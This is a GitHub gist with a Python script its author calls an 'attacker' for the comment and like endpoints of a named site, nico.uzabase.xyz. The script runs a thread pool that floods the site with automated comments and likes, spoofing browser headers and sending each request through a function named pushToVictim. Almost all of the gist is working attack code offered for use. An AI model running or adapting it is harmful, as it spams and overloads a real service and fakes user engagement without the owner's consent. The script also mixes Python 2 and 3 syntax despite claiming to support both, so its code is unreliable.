Skip to content

Instantly share code, notes, and snippets.

@khanhtc1202
Created May 17, 2018 03:43
Show Gist options
  • Save khanhtc1202/869fe44a55ae0321df6585c759266db7 to your computer and use it in GitHub Desktop.
Save khanhtc1202/869fe44a55ae0321df6585c759266db7 to your computer and use it in GitHub Desktop.
Attacker to niconico comment & like system of Uzabase .inc
"""
just for fun beacause funthings are fun!!!
require: requests (install by using pip), python (2 or 3)
usage:
python sample.py {pool_size} {action_quantity}
=> for running in real life: pls uncomment this following line
108: requests.get(endpoint, headers=headers)
* comment print endpoint line if you don't want any log on screen
"""
import sys
IS_PY2 = sys.version_info < (3, 0)
if IS_PY2:
from Queue import Queue
else:
from queue import Queue
from threading import Thread
import requests, random, time
class Worker(Thread):
""" Thread executing tasks from a given tasks queue """
def __init__(self, tasks):
Thread.__init__(self)
self.tasks = tasks
self.daemon = True
self.start()
def run(self):
while True:
func, args, kargs = self.tasks.get()
try:
func(*args, **kargs)
except Exception as e:
# An exception happened in this thread
pass
finally:
# Mark this task as done, whether an exception happened or not
self.tasks.task_done()
class ThreadPool:
""" Pool of threads consuming tasks from a queue """
def __init__(self, num_threads):
self.tasks = Queue(num_threads)
for _ in range(num_threads):
Worker(self.tasks)
def add_task(self, func, *args, **kargs):
""" Add a task to the queue """
self.tasks.put((func, args, kargs))
def map(self, func, args_list):
""" Add a list of tasks to the queue """
for args in args_list:
self.add_task(func, args)
def wait_completion(self):
""" Wait for completion of all the tasks in the queue """
self.tasks.join()
class Executor():
def __init__(self, pool_size, action_quantity):
self.action_quantity = action_quantity
self.pool_size = pool_size
self.endpoints = self.createEndpointList()
def createEndpointList(self):
endpoints = []
for i in range(self.action_quantity):
endpoints.append(self.getEndpoint())
return endpoints
def getString(self):
listCmt = ['sugoiiiiiii', 'heeeee', 'idesune...', 'suge~', 'awesome', '????']
return random.choice(listCmt)
def getColor(self):
listColors = ['black', 'red', 'blue', 'green']
return random.choice(listColors)
def getEndpoint(self):
endpointList = [{'type':'cmt','endpoint':'http://nico.uzabase.xyz/comment?body='+self.getString()+'&color='+self.getColor()},
{'type':'like','endpoint':'http://nico.uzabase.xyz/like?image=thumb'}]
return random.choice(endpointList)['endpoint']
def pushToVictim(self, endpoint):
"""thread worker function"""
headers = {
'Accept':'*/*',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'en-US,en;q=0.9,vi;q=0.8',
'Cache-Control':'no-cache',
'Connection':'keep-alive',
'Host':'nico.uzabase.xyz',
'Pragma':'no-cache',
'Referer':'http://nico.uzabase.xyz/',
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
'X-Requested-With':'XMLHttpRequest'
}
time.sleep(random.choice(range(3)))
print endpoint
requests.get(endpoint, headers=headers)
def run(self):
pool = ThreadPool(self.pool_size)
pool.map(self.pushToVictim, self.endpoints)
pool.wait_completion()
if __name__ == "__main__":
pool_size = int(sys.argv[1])
action_quantity = int(sys.argv[2])
# action
executor = Executor(pool_size, action_quantity)
executor.run()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment